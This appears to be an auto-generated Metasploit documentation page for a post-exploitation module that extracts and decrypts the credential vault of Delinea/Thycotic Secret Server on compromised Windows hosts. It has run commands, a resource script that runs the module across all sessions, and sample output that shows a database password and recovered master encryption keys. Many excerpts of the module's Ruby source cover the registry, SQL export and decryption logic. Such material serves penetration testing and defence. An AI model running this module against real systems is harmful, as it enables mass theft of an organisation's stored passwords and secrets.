Delinea Thycotic Secret Server Dump - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/thycotic_secretserver_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Delinea Thycotic Secret Server Dump
Module: post/windows/gather/credentials/thycotic_secretserver_dump
Source code: modules/post/windows/gather/credentials/thycotic_secretserver_dump.rb
Disclosure date: 2022-08-15
Last modification time: 2022-09-29 13:58:54 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module exports and decrypts Secret Server credentials to a CSV file; it is intended as a post-exploitation module for Windows hosts with Delinea/Thycotic Secret Server installed. Master Encryption Key (MEK) and associated IV values are decrypted from encryption.config using a static key baked into the software. The module also supports parameter recovery for encryption configs configured with Windows DPAPI.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/thycotic_secretserver_dump

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/thycotic_secretserver_dump
msf post(thycotic_secretserver_dump) > show options
    ... show and set options ...
msf post(thycotic_secretserver_dump) > set SESSION session-id
msf post(thycotic_secretserver_dump) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/thycotic_secretserver_dump")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on

Knowledge Base


This module exports and decrypts Secret Server credentials to a CSV file; it is intended as a post-exploitation module for Windows hosts with Delinea/Thycotic Secret Server installed. Master Encryption Key (MEK) and associated IV values are decrypted from encryption.config using a static key baked into the software; there is also support for encryption configs configured with Windows DPAPI MachineKey protection. The module contains two actions, dump and export, the former extracts the encrypted Secret Server database and performs decryption, and the latter allows the encryption keys and encrypted database to be plundered for later offline decryption in situations where expedience is necessary.

This module incorporates original research published by the authors of SecretServerSecretStealer, a PowerShell script designed to harvest Secret Server credentials. The GitHub repo for SecretStealer.ps1 includes tons of notes on the internals of Secret Server:

https://github.com/denandz/SecretServerSecretStealer

Vulnerable Application


This module has been tested against Secret Server versions 8.4 through 11.2, though it may work on earlier versions. It is intended to be run after successfully exploiting a Windows host with the Delinea/Thycotic Secret Server software installed. The module supports decryption of configuration files that have been protected by Windows DPAPI, but does not support extraction of any secrets if the system is configured with a Hardware Security Module (HSM).

Verification Steps


This is a post module and requires a meterpreter session on the Microsoft Windows server host with a configured instance of Delinea/Thycotic Secret Server installed.

  1. Start msfconsole
  2. Get session on Secret Server host via method of choice and background it
  3. Do: use post/windows/gather/credentials/thycotic_secretserver_dump
  4. Do: set session <session>
  5. Do: dump to extract and decrypt the Secret Server database, or export to extract the encrypted database only

Options


SESSION

Which session to use, which can be viewed with sessions -l

Scenarios


Windows Server 2019 host running Secret Server 11.2 using the dump action:

msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1
msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > dump

[*] Hostname THYCOTIC IPv4 10.1.0.113
[*] Decrypt database.config ...
[+] Secret Server SQL Database Connection Configuration:
[+]     Instance Name: localhost\SQLEXPRESS
[+]     Database Name: SecretServer
[+]     Database User: sa
[+]     Database Pass: !-TUwX!_-gD-wak-cugyU-0GX0$vL-evYG2
[*] Secret Server Build 11.22
[*] Decrypt encryption.config ...
[+] Secret Server Encryption Configuration:
[+]        KEY: fc35d1abcade1c180c699e10fbb3efeb
[+]     KEY256: e768c5223bafa5481faca1ee10b63fb80c699e10ffa694ce29adc66963d05109
[+]         IV: 2c2df1a68dbc29adc66041bd6e6e4ad3
[*] Performing export and decryption of Secret Server SQL database
[*] Export Secret Server DB ...
[+] 47842 rows exported, 19915 unique SecretIDs
[+] Encrypted Secret Server Database Dump: /root/.msf4/loot/20220829112535_default_10.1.0.113_thycotic_secrets_288749.txt
[+] 47842 rows loaded, 19915 unique SecretIDs
[*] Process Secret Server DB ...
[-] SecretID 1395 field 'Notes' failed to decrypt
[-] SecretID 2050 field 'Notes' failed to decrypt
[-] SecretID 2506 field 'Notes' failed to decrypt
[-] SecretID 2549 field 'Notes' failed to decrypt
[-] SecretID 2558 field 'Notes' failed to decrypt
[-] SecretID 2566 field 'Notes' failed to decrypt
[-] SecretID 2567 field 'Notes' failed to decrypt
[-] SecretID 2583 field 'Notes' failed to decrypt
[-] SecretID 3393 field 'Notes' failed to decrypt
[-] SecretID 4060 field 'Notes' failed to decrypt
[!] SecretID 4092 field 'SFTP Site' contains invalid UTF-8 and will be stored as a Base64 string in the output file
[-] SecretID 4103 field 'Notes' failed to decrypt
[-] SecretID 4174 field 'Notes' failed to decrypt
[-] SecretID 4625 field 'Notes' failed to decrypt
[-] SecretID 5393 field 'Notes' failed to decrypt
[-] SecretID 5647 field 'Notes' failed to decrypt
[-] SecretID 6018 field 'Notes' failed to decrypt
[-] SecretID 6250 field 'Notes' failed to decrypt
[-] SecretID 6263 field 'Notes' failed to decrypt
[-] SecretID 6657 field 'Notes' failed to decrypt
[-] SecretID 9169 field 'Notes' failed to decrypt
[-] SecretID 10577 field 'Notes' failed to decrypt
[-] SecretID 10777 field 'Notes' failed to decrypt
[!] SecretID 11097 field 'Notes' contains invalid UTF-8 and will be stored as a Base64 string in the output file
[-] SecretID 11319 field 'Notes' failed to decrypt
[-] SecretID 11973 field 'Notes' failed to decrypt
[-] SecretID 11974 field 'Notes' failed to decrypt
[-] SecretID 11997 field 'Notes' failed to decrypt
[!] 47842 rows processed (26 rows failed)
[*] 45117 rows recovered: 34479 plaintext, 10638 decrypted (2699 blank)
[*] 45117 rows written (2699 blank rows withheld)
[+] 19836 unique SecretID records recovered
[+] Decrypted Secret Server Database Dump: /root/.msf4/loot/20220829112547_default_10.1.0.113_thycotic_secrets_357639.txt
[*] Post module execution completed
msf6 post(multi/gather/thycotic_secretserver_dump) > 

Windows Server 2019 host running Secret Server 11.2 using the export action:
msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1 msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > export

[] Hostname THYCOTIC IPv4 10.1.0.113 [] Decrypt database.config ... [+] Secret Server SQL Database Connection Configuration: [+] Instance Name: localhost\SQLEXPRESS [+] Database Name: SecretServer_112E [+] Database User: (Windows Integrated) [!] The database uses Windows authentication [!] Session identity must have access to the SQL server instance to proceed [] Secret Server Build 11.22 [] Decrypt encryption.config ... [+] Secret Server Encryption Configuration: [+] KEY: 376f80b25053d74afcc321837442ddc9 [+] KEY256: 5b0f4d7d2d89c180b62c64b881072d4cf2b6fd0487c9d4438050a4734a3ece19 [+] IV: d933b2ad66c785891d4bc916cebdde15 [] Performing export of Secret Server SQL database to CSV file [] Export Secret Server DB ... [+] 3 rows exported, 1 unique SecretIDs [+] Encrypted Secret Server Database Dump: /root/.msf4/loot/20220829113427_default_10.1.0.113_thycotic_secrets_175194.txt [*] Post module execution completed

Go back to menu.

Msfconsole Usage


Here is how the windows/gather/credentials/thycotic_secretserver_dump post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/thycotic_secretserver_dump

msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show info

       Name: Delinea Thycotic Secret Server Dump
     Module: post/windows/gather/credentials/thycotic_secretserver_dump
   Platform: Windows
       Arch: 
       Rank: Manual
  Disclosed: 2022-08-15

Provided by:
  npm <[email protected]>

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Compatible session types:
  Meterpreter

Available actions:
  Name    Description
  ----    -----------
  Dump    Export Secret Server database and perform decryption
  Export  Export Secret Server database without decryption

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on

Description:
  This module exports and decrypts Secret Server credentials to a CSV 
  file; it is intended as a post-exploitation module for Windows hosts 
  with Delinea/Thycotic Secret Server installed. Master Encryption Key 
  (MEK) and associated IV values are decrypted from encryption.config 
  using a static key baked into the software. The module also supports 
  parameter recovery for encryption configs configured with Windows 
  DPAPI.

References:
  https://github.com/denandz/SecretServerSecretStealer

Module Options


This is a complete list of options available in the windows/gather/credentials/thycotic_secretserver_dump post exploitation module:

msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show options

Module options (post/windows/gather/credentials/thycotic_secretserver_dump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on

Post action:

   Name  Description
   ----  -----------
   Dump  Export Secret Server database and perform decryption

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/credentials/thycotic_secretserver_dump post exploitation module:

msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show advanced

Module advanced options (post/windows/gather/credentials/thycotic_secretserver_dump):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  auto             yes       Prepend AMSI/SBL bypass (Accepted: auto, true, false)
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/credentials/thycotic_secretserver_dump module can do:

msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show actions

Post actions:

   Name    Description
   ----    -----------
   Dump    Export Secret Server database and perform decryption
   Export  Export Secret Server database without decryption

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/credentials/thycotic_secretserver_dump post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not initialize


Here is a relevant code snippet related to the "Could not initialize" error message:

70:	  def result_header_row
71:	    'SecretID,Active,SecretType,SecretName,FieldName,Plaintext,Plaintext2'
72:	  end
73:	
74:	  def run
75:	    fail_with(Msf::Exploit::Failure::NoTarget, 'Could not initialize') unless init_module
76:	    current_action = action.name.downcase
77:	    if current_action == 'export' || current_action == 'dump'
78:	      print_status('Performing export of Secret Server SQL database to CSV file')
79:	      fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
80:	      print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")

Could not export Secret Server database records


Here is a relevant code snippet related to the "Could not export Secret Server database records" error message:

74:	  def run
75:	    fail_with(Msf::Exploit::Failure::NoTarget, 'Could not initialize') unless init_module
76:	    current_action = action.name.downcase
77:	    if current_action == 'export' || current_action == 'dump'
78:	      print_status('Performing export of Secret Server SQL database to CSV file')
79:	      fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
80:	      print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
81:	    end
82:	    if current_action == 'dump'
83:	      print_status('Performing decryption of Secret Server SQL database')
84:	      fail_with(Msf::Exploit::Failure::Unknown, 'Could not decrypt exported Secret Server database records') unless (decrypted_csv_file = decrypt(encrypted_csv_file))

Could not decrypt exported Secret Server database records


Here is a relevant code snippet related to the "Could not decrypt exported Secret Server database records" error message:

79:	      fail_with(Msf::Exploit::Failure::Unknown, 'Could not export Secret Server database records') unless (encrypted_csv_file = export)
80:	      print_good("Encrypted Secret Server Database Dump: #{encrypted_csv_file}")
81:	    end
82:	    if current_action == 'dump'
83:	      print_status('Performing decryption of Secret Server SQL database')
84:	      fail_with(Msf::Exploit::Failure::Unknown, 'Could not decrypt exported Secret Server database records') unless (decrypted_csv_file = decrypt(encrypted_csv_file))
85:	      print_good("Decrypted Secret Server Database Dump: #{decrypted_csv_file}")
86:	    end
87:	  end
88:	
89:	  def export

No records exported from SQL server


Here is a relevant code snippet related to the "No records exported from SQL server" error message:

86:	    end
87:	  end
88:	
89:	  def export
90:	    unless (csv = dump_thycotic_db)
91:	      print_error('No records exported from SQL server')
92:	      return false
93:	    end
94:	    total_rows = csv.count
95:	    print_good("#{total_rows} rows exported, #{@ss_total_secrets} unique SecretIDs")
96:	    encrypted_data = csv.to_s.delete("\000")

No records imported from CSV dataset


Here is a relevant code snippet related to the "No records imported from CSV dataset" error message:

97:	    store_loot('thycotic_secretserver_enc', 'text/csv', rhost, encrypted_data, "#{@ss_db_name}.csv", 'Encrypted Database Dump')
98:	  end
99:	
100:	  def decrypt(csv_file)
101:	    unless (csv = read_csv_file(csv_file))
102:	      print_error('No records imported from CSV dataset')
103:	      return false
104:	    end
105:	    total_rows = csv.count
106:	    print_good("#{total_rows} rows loaded, #{@ss_total_secrets} unique SecretIDs")
107:	    result = decrypt_thycotic_db(csv)

Failed to decrypt CSV dataset


Here is a relevant code snippet related to the "Failed to decrypt CSV dataset" error message:

110:	    ss_decrypted_rows = result[:decrypted_rows]
111:	    ss_plaintext_rows = result[:plaintext_rows]
112:	    ss_failed_rows = result[:failed_rows]
113:	    result_rows = result[:result_csv]
114:	    unless result_rows
115:	      print_error('Failed to decrypt CSV dataset')
116:	      return false
117:	    end
118:	    total_result_rows = result_rows.count - 1 # Do not count header row
119:	    total_result_secrets = result_rows['SecretID'].uniq.count - 1
120:	    if ss_processed_rows == ss_failed_rows || total_result_rows <= 0

No rows could be processed


Here is a relevant code snippet related to the "No rows could be processed" error message:

116:	      return false
117:	    end
118:	    total_result_rows = result_rows.count - 1 # Do not count header row
119:	    total_result_secrets = result_rows['SecretID'].uniq.count - 1
120:	    if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
121:	      print_error('No rows could be processed')
122:	      return false
123:	    elsif ss_failed_rows > 0
124:	      print_warning("#{ss_processed_rows} rows processed (#{ss_failed_rows} rows failed)")
125:	    else
126:	      print_good("#{ss_processed_rows} rows processed")

<SS_PROCESSED_ROWS> rows processed (<SS_FAILED_ROWS> rows failed)


Here is a relevant code snippet related to the "<SS_PROCESSED_ROWS> rows processed (<SS_FAILED_ROWS> rows failed)" error message:

119:	    total_result_secrets = result_rows['SecretID'].uniq.count - 1
120:	    if ss_processed_rows == ss_failed_rows || total_result_rows <= 0
121:	      print_error('No rows could be processed')
122:	      return false
123:	    elsif ss_failed_rows > 0
124:	      print_warning("#{ss_processed_rows} rows processed (#{ss_failed_rows} rows failed)")
125:	    else
126:	      print_good("#{ss_processed_rows} rows processed")
127:	    end
128:	    total_records = ss_decrypted_rows + ss_plaintext_rows
129:	    print_status("#{total_records} rows recovered: #{ss_plaintext_rows} plaintext, #{ss_decrypted_rows} decrypted (#{ss_blank_rows} blank)")

Error parsing SQL dataset into CSV format


Here is a relevant code snippet related to the "Error parsing SQL dataset into CSV format" error message:

152:	    sql_cmd = sql_prepare(sql_query)
153:	    print_status('Export Secret Server DB ...')
154:	    query_result = cmd_exec(sql_cmd)
155:	    csv = CSV.parse(query_result.gsub("\r", ''), row_sep: :auto, headers: export_header_row, quote_char: "\x00", skip_blanks: true)
156:	    unless csv
157:	      print_error('Error parsing SQL dataset into CSV format')
158:	      return false
159:	    end
160:	    @ss_total_secrets = csv['SecretID'].uniq.count
161:	    unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
162:	      print_error('SQL dataset contains no SecretID column values')

SQL dataset contains no SecretID column values


Here is a relevant code snippet related to the "SQL dataset contains no SecretID column values" error message:

157:	      print_error('Error parsing SQL dataset into CSV format')
158:	      return false
159:	    end
160:	    @ss_total_secrets = csv['SecretID'].uniq.count
161:	    unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
162:	      print_error('SQL dataset contains no SecretID column values')
163:	      return false
164:	    end
165:	    csv
166:	  end
167:	

Row <CURRENT_ROW> missing SecretID column, skipping


Here is a relevant code snippet related to the "Row <CURRENT_ROW> missing SecretID column, skipping" error message:

176:	    csv_dataset.each do |row|
177:	      current_row += 1
178:	      secret_id = row['SecretID']
179:	      if secret_id.nil?
180:	        failed_rows += 1
181:	        print_error("Row #{current_row} missing SecretID column, skipping")
182:	        next
183:	      end
184:	      secret_field = [row['SecretFieldName'][2..]].pack('H*')
185:	      secret_ciphertext_1 = row['ItemValue']
186:	      if secret_ciphertext_1.nil?

SecretID <SECRET_ID> field '<SECRET_FIELD>' ItemValue column nil, excluding


Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' ItemValue column nil, excluding" error message:

182:	        next
183:	      end
184:	      secret_field = [row['SecretFieldName'][2..]].pack('H*')
185:	      secret_ciphertext_1 = row['ItemValue']
186:	      if secret_ciphertext_1.nil?
187:	        vprint_warning("SecretID #{secret_id} field '#{secret_field}' ItemValue column nil, excluding")
188:	        blank_rows += 1
189:	        next
190:	      end
191:	      secret_ciphertext_2 = row['ItemValue2']
192:	      secret_active = row['Active'].to_i

SecretID <SECRET_ID> field '<SECRET_FIELD>' decrypted ItemValue nil, excluding


Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' decrypted ItemValue nil, excluding" error message:

217:	      iv = [iv_hex].pack('H*')
218:	      miv = [miv_hex].pack('H*')
219:	      if secret_encrypted == 1
220:	        secret_plaintext_1 = thycotic_secret_decrypt(secret_id: secret_id, secret_field: secret_field, secret_value: value_1, secret_key: key, secret_iv: iv, secret_miv: miv, secret_use256: secret_use256)
221:	        if secret_plaintext_1.nil?
222:	          vprint_warning("SecretID #{secret_id} field '#{secret_field}' decrypted ItemValue nil, excluding")
223:	          blank_rows += 1
224:	          next
225:	        end
226:	        # TODO: Figure out how ItemValue2 is encrypted; it does not match the structure of ItemValue.
227:	        # For now just return ciphertext if it exists.

SecretID <SECRET_ID> field '<SECRET_FIELD>' failed to decrypt


Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' failed to decrypt" error message:

225:	        end
226:	        # TODO: Figure out how ItemValue2 is encrypted; it does not match the structure of ItemValue.
227:	        # For now just return ciphertext if it exists.
228:	        secret_plaintext_2 = secret_ciphertext_2
229:	        if !secret_plaintext_1 || !secret_plaintext_2
230:	          print_error("SecretID #{secret_id} field '#{secret_field}' failed to decrypt")
231:	          vprint_error(row.to_s)
232:	          failed_rows += 1
233:	          next
234:	        end
235:	        secret_disposition = 'decrypted'

SecretID <SECRET_ID> field '<SECRET_FIELD>' recovered ItemValue empty, excluding


Here is a relevant code snippet related to the "SecretID <SECRET_ID> field '<SECRET_FIELD>' recovered ItemValue empty, excluding" error message:

244:	        result_line = [secret_id.to_s, secret_active.to_s, secret_type.to_s, secret_name.to_s, secret_field.to_s, secret_plaintext_1.to_s, secret_plaintext_2.to_s]
245:	        result_row = CSV.parse_line(CSV.generate_line(result_line).gsub("\r", ''))
246:	        result_csv << result_row
247:	        vprint_status("SecretID #{secret_id} field '#{secret_field}' ItemValue recovered: #{secret_disposition}")
248:	      else
249:	        vprint_warning("SecretID #{secret_id} field '#{secret_field}' recovered ItemValue empty, excluding")
250:	        blank_rows += 1
251:	      end
252:	    end
253:	    {
254:	      processed_rows: current_row,

Unable to identify sqlcmd SQL client on target host


Here is a relevant code snippet related to the "Unable to identify sqlcmd SQL client on target host" error message:

263:	  def init_module
264:	    @ss_hostname = get_env('COMPUTERNAME')
265:	    print_status("Hostname #{@ss_hostname} IPv4 #{rhost}")
266:	    get_sql_client
267:	    unless @sql_client == 'sqlcmd'
268:	      print_error('Unable to identify sqlcmd SQL client on target host')
269:	      return false
270:	    end
271:	    vprint_good("Found SQL client: #{@sql_client}")
272:	    unless (ss_web_path = get_secretserver_web_path)
273:	      print_error('Could not determine Secret Server IIS web root filesystem path')

Could not determine Secret Server IIS web root filesystem path


Here is a relevant code snippet related to the "Could not determine Secret Server IIS web root filesystem path" error message:

268:	      print_error('Unable to identify sqlcmd SQL client on target host')
269:	      return false
270:	    end
271:	    vprint_good("Found SQL client: #{@sql_client}")
272:	    unless (ss_web_path = get_secretserver_web_path)
273:	      print_error('Could not determine Secret Server IIS web root filesystem path')
274:	      return false
275:	    end
276:	    unless init_thycotic_db(ss_web_path)
277:	      print_error('Could not initialize Secret Server database')
278:	      return false

Could not initialize Secret Server database


Here is a relevant code snippet related to the "Could not initialize Secret Server database" error message:

272:	    unless (ss_web_path = get_secretserver_web_path)
273:	      print_error('Could not determine Secret Server IIS web root filesystem path')
274:	      return false
275:	    end
276:	    unless init_thycotic_db(ss_web_path)
277:	      print_error('Could not initialize Secret Server database')
278:	      return false
279:	    end
280:	    get_secretserver_version
281:	    unless @ss_build
282:	      print_error('Could not determine Secret Server build')

Could not determine Secret Server build


Here is a relevant code snippet related to the "Could not determine Secret Server build" error message:

277:	      print_error('Could not initialize Secret Server database')
278:	      return false
279:	    end
280:	    get_secretserver_version
281:	    unless @ss_build
282:	      print_error('Could not determine Secret Server build')
283:	      return false
284:	    end
285:	    unless init_thycotic_encryption(ss_web_path)
286:	      print_error('Could not initialize Secret Server encryption parameters')
287:	      return false

Could not initialize Secret Server encryption parameters


Here is a relevant code snippet related to the "Could not initialize Secret Server encryption parameters" error message:

281:	    unless @ss_build
282:	      print_error('Could not determine Secret Server build')
283:	      return false
284:	    end
285:	    unless init_thycotic_encryption(ss_web_path)
286:	      print_error('Could not initialize Secret Server encryption parameters')
287:	      return false
288:	    end
289:	    true
290:	  end
291:	

CSV file <FILE_NAME> not found


Here is a relevant code snippet related to the "CSV file <FILE_NAME> not found" error message:

289:	    true
290:	  end
291:	
292:	  def read_csv_file(file_name)
293:	    unless File.exist?(file_name)
294:	      print_error("CSV file #{file_name} not found")
295:	      return false
296:	    end
297:	    csv_rows = File.binread(file_name)
298:	    csv = CSV.parse(csv_rows.gsub("\r", ''), row_sep: :auto, headers: :first_row, quote_char: "\x00", skip_blanks: true)
299:	    unless csv

Error importing CSV file <CSV_FILE>


Here is a relevant code snippet related to the "Error importing CSV file <CSV_FILE>" error message:

295:	      return false
296:	    end
297:	    csv_rows = File.binread(file_name)
298:	    csv = CSV.parse(csv_rows.gsub("\r", ''), row_sep: :auto, headers: :first_row, quote_char: "\x00", skip_blanks: true)
299:	    unless csv
300:	      print_error("Error importing CSV file #{csv_file}")
301:	      return false
302:	    end
303:	    @ss_total_secrets = csv['SecretID'].uniq.count
304:	    unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
305:	      print_error("Provided CSV file #{csv_file} contains no SecretID column values")

Provided CSV file <CSV_FILE> contains no SecretID column values


Here is a relevant code snippet related to the "Provided CSV file <CSV_FILE> contains no SecretID column values" error message:

300:	      print_error("Error importing CSV file #{csv_file}")
301:	      return false
302:	    end
303:	    @ss_total_secrets = csv['SecretID'].uniq.count
304:	    unless @ss_total_secrets >= 1 && !csv['SecretID'].uniq.first.nil?
305:	      print_error("Provided CSV file #{csv_file} contains no SecretID column values")
306:	      return false
307:	    end
308:	    csv
309:	  end
310:	

Registry key <REG_KEY> not found


Here is a relevant code snippet related to the "Registry key <REG_KEY> not found" error message:

309:	  end
310:	
311:	  def get_secretserver_web_path
312:	    reg_key = 'HKLM\\SOFTWARE\\Thycotic\\Secret Server\\'
313:	    unless registry_key_exist?(reg_key)
314:	      print_error("Registry key #{reg_key} not found")
315:	      return false
316:	    end
317:	    ss_web_path = registry_getvaldata(reg_key, 'WebDir')
318:	    unless ss_web_path
319:	      print_error("Could not find WebDir registry entry under #{reg_key}")

Could not find WebDir registry entry under <REG_KEY>


Here is a relevant code snippet related to the "Could not find WebDir registry entry under <REG_KEY>" error message:

314:	      print_error("Registry key #{reg_key} not found")
315:	      return false
316:	    end
317:	    ss_web_path = registry_getvaldata(reg_key, 'WebDir')
318:	    unless ss_web_path
319:	      print_error("Could not find WebDir registry entry under #{reg_key}")
320:	      return false
321:	    end
322:	    vprint_status('Secret Server Web Root:')
323:	    vprint_status("\t#{ss_web_path}")
324:	    ss_web_path

Error parsing SQL dataset into CSV format


Here is a relevant code snippet related to the "Error parsing SQL dataset into CSV format" error message:

332:	      FROM tbVersion ORDER BY [Major] DESC, [Minor] DESC, [Rev] DESC"
333:	    sql_cmd = sql_prepare(sql_query)
334:	    version_query_result = cmd_exec(sql_cmd).gsub("\r", '')
335:	    csv = CSV.parse(version_query_result.gsub("\r", ''), row_sep: :auto, headers: 'Major,Minor,Rev', quote_char: "\x00", skip_blanks: true)
336:	    unless csv
337:	      print_error('Error parsing SQL dataset into CSV format')
338:	      return false
339:	    end
340:	    ss_build_major = csv['Major'].first.to_i
341:	    ss_build_minor = csv['Minor'].first.to_i
342:	    ss_build_rev = csv['Rev'].first.to_i

Error determining Secret Server version from SQL query


Here is a relevant code snippet related to the "Error determining Secret Server version from SQL query" error message:

340:	    ss_build_major = csv['Major'].first.to_i
341:	    ss_build_minor = csv['Minor'].first.to_i
342:	    ss_build_rev = csv['Rev'].first.to_i
343:	    @ss_build = "#{ss_build_major}.#{ss_build_minor}#{ss_build_rev}".to_f
344:	    unless @ss_build > 0
345:	      print_error('Error determining Secret Server version from SQL query')
346:	      return false
347:	    end
348:	    print_status("Secret Server Build #{@ss_build}")
349:	    print_warning('This module has not been tested against Secret Server versions below 8.4 and may not work') if @ss_build < 8.4
350:	    true

This module has not been tested against Secret Server versions below 8.4 and may not work


Here is a relevant code snippet related to the "This module has not been tested against Secret Server versions below 8.4 and may not work" error message:

344:	    unless @ss_build > 0
345:	      print_error('Error determining Secret Server version from SQL query')
346:	      return false
347:	    end
348:	    print_status("Secret Server Build #{@ss_build}")
349:	    print_warning('This module has not been tested against Secret Server versions below 8.4 and may not work') if @ss_build < 8.4
350:	    true
351:	  end
352:	
353:	  def sql_prepare(sql_query)
354:	    if @ss_db_integrated_auth

Configuration file '<SS_CONFIG_FILE>' not found


Here is a relevant code snippet related to the "Configuration file '<SS_CONFIG_FILE>' not found" error message:

359:	    sql_cmd
360:	  end
361:	
362:	  def read_config_file(ss_config_file)
363:	    unless file_exist?(ss_config_file)
364:	      print_error("Configuration file '#{ss_config_file}' not found")
365:	      return false
366:	    end
367:	    read_file(ss_config_file)
368:	  end
369:	

Failed to decrypt encryption.config


Here is a relevant code snippet related to the "Failed to decrypt encryption.config" error message:

379:	    else
380:	      vprint_status('Using Legacy (AES-128) file decryption routine')
381:	      enc_conf = thycotic_encryption_config_decrypt_legacy(ss_enc_conf_bytes)
382:	    end
383:	    unless enc_conf
384:	      print_error('Failed to decrypt encryption.config')
385:	      return false
386:	    end
387:	    ss_key_hex = enc_conf['KEY']
388:	    ss_key256_hex = enc_conf['KEY256']
389:	    ss_iv_hex = enc_conf['IV']

Failed to recover Master Encryption Key values from <SS_ENC_CONFIG_FILE>


Here is a relevant code snippet related to the "Failed to recover Master Encryption Key values from <SS_ENC_CONFIG_FILE>" error message:

391:	      print_status('DPAPI encryption has been configured for the Master Encryption Key, attempting LocalMachine decryption ...')
392:	      ss_key_hex = dpapi_decrypt(ss_key_hex)
393:	      ss_key256_hex = dpapi_decrypt(ss_key256_hex)
394:	    end
395:	    if ss_key_hex.nil? || ss_key256_hex.nil? || ss_iv_hex.nil?
396:	      print_error("Failed to recover Master Encryption Key values from #{ss_enc_config_file}")
397:	      return false
398:	    end
399:	    @ss_iv = [ss_iv_hex].pack('H*')
400:	    @ss_key = [ss_key_hex].pack('H*')
401:	    @ss_key256 = [ss_key256_hex].pack('H*')

Exception in <__METHOD__>: <E.MESSAGE>


Here is a relevant code snippet related to the "Exception in <__METHOD__>: <E.MESSAGE>" error message:

458:	
459:	      i += 1
460:	    end
461:	    res
462:	  rescue StandardError => e
463:	    vprint_error("Exception in #{__method__}: #{e.message}")
464:	    return false
465:	  end
466:	
467:	  def thycotic_encryption_config_decrypt_legacy(enc_conf_bytes)
468:	    res = {}

Could not locate encryption.config key/value header in binary stream


Here is a relevant code snippet related to the "Could not locate encryption.config key/value header in binary stream" error message:

471:	    aes_iv_legacy = ['7a790a22020b6eb3630cdd080310d40a'].pack('H*')
